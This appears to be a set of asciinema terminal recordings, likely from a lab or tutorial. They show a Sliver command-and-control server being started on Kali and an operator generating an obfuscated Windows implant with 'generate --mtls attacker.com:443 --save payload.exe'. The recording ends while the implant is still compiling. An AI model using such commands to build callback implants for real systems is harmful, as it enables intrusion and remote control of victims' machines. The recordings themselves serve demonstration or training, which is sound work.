[37.91677, "o", "\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
|
||||
[38.060827, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[24m\u001b[39m"]
|
||||
[38.172203, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[4m\u001b[37mi\u001b[24m\u001b[39m"]
|
||||
[38.298728, "o", "\b\u001b[4m\u001b[37mi\u001b[4m\u001b[37mv\u001b[24m\u001b[39m"]
|
||||
[38.476402, "o", "\b\u001b[4m\u001b[37mv\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
|
||||
[38.545985, "o", "\b\b\b\b\b\u001b[24m\u001b[36ms\u001b[24m\u001b[36ml\u001b[24m\u001b[36mi\u001b[24m\u001b[36mv\u001b[24m\u001b[36me\u001b[36mr\u001b[39m"]
|
||||
[39.070667, "o", "\u001b[?1l\u001b>"]
|
||||
[39.073138, "o", "\u001b[?2004l\r\r\n"]
|
||||
[39.226719, "o", "Connecting to localhost:31337 ...\r\n"]
|
||||
[39.280105, "o", "\u001b[m"]
|
||||
[39.285034, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain reinforce\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
|
||||
[39.285661, "o", "\u001b[1m\u001b[36m[*] \u001b[0mCheck for updates with the 'update' command\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[44.544399, "o", "\u001b[?2004l\r\r\n"]
|
||||
@@ -0,0 +1,24 @@
|
||||
{"version": 2, "width": 131, "height": 43, "timestamp": 1702682950, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.104914, "o", " \r\r"]
|
||||
[0.163494, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]"]
|
||||
[0.164283, "o", "\r\n"]
|
||||
[0.164915, "o", "└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m "]
|
||||
[0.165844, "o", "\u001b[K\u001b[?1h\u001b="]
|
||||
[0.166833, "o", "\u001b[?2004h"]
|
||||
[0.999787, "o", "\u001b[36m.\u001b[39m"]
|
||||
[1.025721, "o", "\b\u001b[39m\u001b[1m.\u001b[1m/\u001b[0m"]
|
||||
[1.427538, "o", "\b\b\u001b[1m.\u001b[1m/\u001b[1ms\u001b[0m"]
|
||||
[1.465703, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"]
|
||||
[1.567542, "o", "\b\u001b[1ml\u001b[1mi\u001b[0m"]
|
||||
[1.950963, "o", "\b\u001b[1mi\u001b[1mv\u001b[0m"]
|
||||
[2.059322, "o", "\b\u001b[1mv\u001b[1me\u001b[0m"]
|
||||
[2.320926, "o", "\b\b\b\b\b\b\b\u001b[0m\u001b[36m.\u001b[0m\u001b[36m/\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr-server\u001b[39m\u001b[1m \u001b[0m"]
|
||||
[2.995616, "o", "\b\u001b[0m \b"]
|
||||
[2.996544, "o", "\u001b[?1l\u001b>"]
|
||||
[3.000576, "o", "\u001b[?2004l"]
|
||||
[3.001763, "o", "\r\r\n"]
|
||||
[3.122345, "o", "\u001b[m"]
|
||||
[3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"]
|
||||
[3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[60.29313, "o", "\u001b[J\u001b[2K\r"]
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
{"version": 2, "width": 137, "height": 38, "timestamp": 1702829213, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.086575, "o", " \r\r"]
|
||||
[0.139221, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
|
||||
[0.139878, "o", "\u001b[?1h\u001b="]
|
||||
[0.140711, "o", "\u001b[?2004h"]
|
||||
[1.228241, "o", "\u001b[1ms\u001b[0m"]
|
||||
[1.229112, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
|
||||
[1.485473, "o", "\b\u001b[0m\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[24m\u001b[39m\u001b[39m \u001b[39m \u001b[39m \u001b[39m \b\b\b\b"]
|
||||
[1.602104, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
|
||||
[1.692461, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
|
||||
[1.82293, "o", "\b\u001b[4m\u001b[37mt\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
|
||||
[1.952538, "o", "\b\u001b[4m\u001b[37me\u001b[4m\u001b[37mm\u001b[24m\u001b[39m"]
|
||||
[2.224932, "o", "\b\u001b[4m\u001b[37mm\u001b[4m\u001b[37mc\u001b[24m\u001b[39m"]
|
||||
[2.479643, "o", "\b\u001b[4m\u001b[37mc\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
|
||||
[2.609046, "o", "\u001b[8D\u001b[24m\u001b[36ms\u001b[24m\u001b[36my\u001b[24m\u001b[36ms\u001b[24m\u001b[36mt\u001b[24m\u001b[36me\u001b[24m\u001b[36mm\u001b[24m\u001b[36mc\u001b[24m\u001b[36mt\u001b[36ml\u001b[39m"]
|
||||
[2.8689, "o", " "]
|
||||
[3.562389, "o", "\u001b[1ms\u001b[0m"]
|
||||
[3.646269, "o", "\b\u001b[0mst"]
|
||||
[3.763246, "o", "a"]
|
||||
[3.923354, "o", "t"]
|
||||
[3.944407, "o", "u"]
|
||||
[4.055406, "o", "s"]
|
||||
[4.168779, "o", " "]
|
||||
[4.353452, "o", "\u001b[1ms\u001b[0m"]
|
||||
[4.571669, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"]
|
||||
[4.582569, "o", "\b\b\u001b[0ms\u001b[0mli"]
|
||||
[4.625017, "o", "v"]
|
||||
[4.77009, "o", "e"]
|
||||
[4.848588, "o", "r"]
|
||||
[5.619327, "o", "\u001b[?1l\u001b>"]
|
||||
[5.623929, "o", "\u001b[?2004l\r\r\n"]
|
||||
[5.636017, "o", "\u001b[?1h\u001b=\r"]
|
||||
[5.639311, "o", "\u001b[0;1;32m●\u001b[0m sliver.service - Sliver\u001b[m\r\n Loaded: loaded (\u001b]8;;file://kali/etc/systemd/system/sliver.service\u0007/etc/systemd/system/sliver.service\u001b]8;;\u0007; \u001b[0;1;38;5;185mdisabled\u001b[0m; preset: \u001b[0;1;38;5;185mdisabled\u001b[0m)\u001b[m\r\n Active: \u001b[0;1;32mactive (running)\u001b[0m since Sun 2023-12-17 16:02:25 UTC; 4min 33s ago\u001b[m\r\n Main PID: 4942 (sliver-server)\u001b[m\r\n Tasks: 9 (limit: 4624)\u001b[m\r\n Memory: 20.2M\u001b[m\r\n CPU: 152ms\u001b[m\r\n CGroup: /system.slice/sliver.service\u001b[m\r\n └─\u001b[0;38;5;245m4942 /root/sliver-server daemon\u001b[0m\u001b[m\r\n\u001b[m\r\nDec 17 16:02:25 kali systemd[1]: Started Sliver.\u001b[m\r\n"]
|
||||
[5.639877, "o", "\r\u001b[K\u001b[?1l\u001b>"]
|
||||
[15.640687, "o", " \r\r"]
|
||||
|
||||
@@ -0,0 +1,905 @@
|
||||
{"version": 2, "width": 137, "height": 38, "timestamp": 1702834090, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.084636, "o", " \r\r"]
|
||||
[0.137311, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
|
||||
[0.137854, "o", "\u001b[?1h\u001b="]
|
||||
[0.138805, "o", "\u001b[?2004h"]
|
||||
[1.126586, "o", "\u001b[1ms\u001b[0m"]
|
||||
[1.127617, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
|
||||
[1.233311, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
|
||||
[1.341486, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m"]
|
||||
[1.645373, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b"]
|
||||
[1.651818, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m\u001b[39m \u001b[39m \b\b"]
|
||||
[1.652699, "o", "\u001b[38;2;153;153;153mr\u001b[39m\b"]
|
||||
[1.724472, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
|
||||
[2.169426, "o", "\u001b[?1l\u001b>"]
|
||||
[2.172204, "o", "\u001b[?2004l\r\r\n"]
|
||||
[2.23265, "o", "Connecting to localhost:31337 ...\r\n"]
|
||||
[2.281037, "o", "\u001b[m"]
|
||||
[2.283301, "o", "\u001b[32m\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\n\u001b[0m\r\nAll hackers gain epic\r\n"]
|
||||
[2.283811, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
|
||||
[2.28395, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[2.837538, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
|
||||
[3.251842, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
|
||||
[3.392601, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
|
||||
[3.623616, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
|
||||
[3.741996, "o", "\u001b[J\u001b[2K\r"]
|
||||
[3.742093, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
|
||||
[3.83311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
|
||||
[4.377508, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate -"]
|
||||
[4.529721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --"]
|
||||
[4.78866, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --m"]
|
||||
[4.941, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mt"]
|
||||
[5.111754, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtl"]
|
||||
[5.516698, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls"]
|
||||
[5.734855, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls "]
|
||||
[6.152158, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls a"]
|
||||
[6.361633, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls at"]
|
||||
[6.522567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls att"]
|
||||
[6.664864, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls atta"]
|
||||
[6.776953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attac"]
|
||||
[7.109455, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attack"]
|
||||
[7.414159, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker"]
|
||||
[7.645484, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker."]
|
||||
[7.803638, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.c"]
|
||||
[7.935967, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.co"]
|
||||
[8.067311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com"]
|
||||
[8.852734, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:"]
|
||||
[9.168342, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:4"]
|
||||
[9.509949, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:44"]
|
||||
[9.570568, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443"]
|
||||
[9.902052, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 "]
|
||||
[10.820721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 -"]
|
||||
[11.289457, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --s"]
|
||||
[11.428343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sa"]
|
||||
[11.800929, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sav"]
|
||||
[11.99739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save "]
|
||||
[13.047743, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save p"]
|
||||
[13.076903, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pa"]
|
||||
[13.180503, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pay"]
|
||||
[13.371461, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payl"]
|
||||
[13.541123, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save paylo"]
|
||||
[13.701165, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payloa"]
|
||||
[13.891736, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload"]
|
||||
[14.228103, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload."]
|
||||
[14.278758, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.e"]
|
||||
[14.505456, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.ex"]
|
||||
[14.748707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe"]
|
||||
[14.995965, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\r\n"]
|
||||
[14.996554, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 implant binary\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
|
||||
[15.09658, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[15.196943, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[15.297363, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[15.397811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[15.498252, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[15.598621, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[15.698978, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[15.799391, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[15.899706, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[16.000093, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[16.100436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[16.200834, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[16.301236, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[16.402302, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[16.502202, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[16.602606, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[16.703545, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[16.803923, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[16.904345, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[17.004804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[17.107086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[17.207448, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[17.30791, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[17.409979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[17.510282, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[17.610686, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[17.711194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[17.81158, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[17.91203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[18.012607, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[18.113031, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[18.213472, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[18.313829, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[18.414224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[18.514641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[18.615006, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[18.715383, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[18.815764, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[18.916181, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[19.01654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[19.116966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[19.217444, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[19.317961, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[19.418386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[19.518879, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[19.619285, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[19.719688, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[19.820085, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[19.920517, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[20.020952, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[20.121332, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[20.221723, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[20.322053, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[20.422471, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[20.522794, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[20.623194, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[20.723532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[20.824103, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[20.924528, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[21.024932, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[21.125328, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[21.225707, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[21.326098, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[21.426502, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[21.526905, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[21.62734, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[21.727834, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[21.828239, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[21.928617, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[22.029032, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[22.129448, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.229866, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.330268, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.430544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.531002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[22.631396, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[22.731835, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[22.83223, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[22.932662, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.033073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.13349, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.233919, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.334332, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.434734, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.53517, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.635537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.735983, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.83638, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.936783, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.037207, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.137625, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.23802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.338431, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.438844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[24.539315, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.639859, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.740283, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.840563, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.940951, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
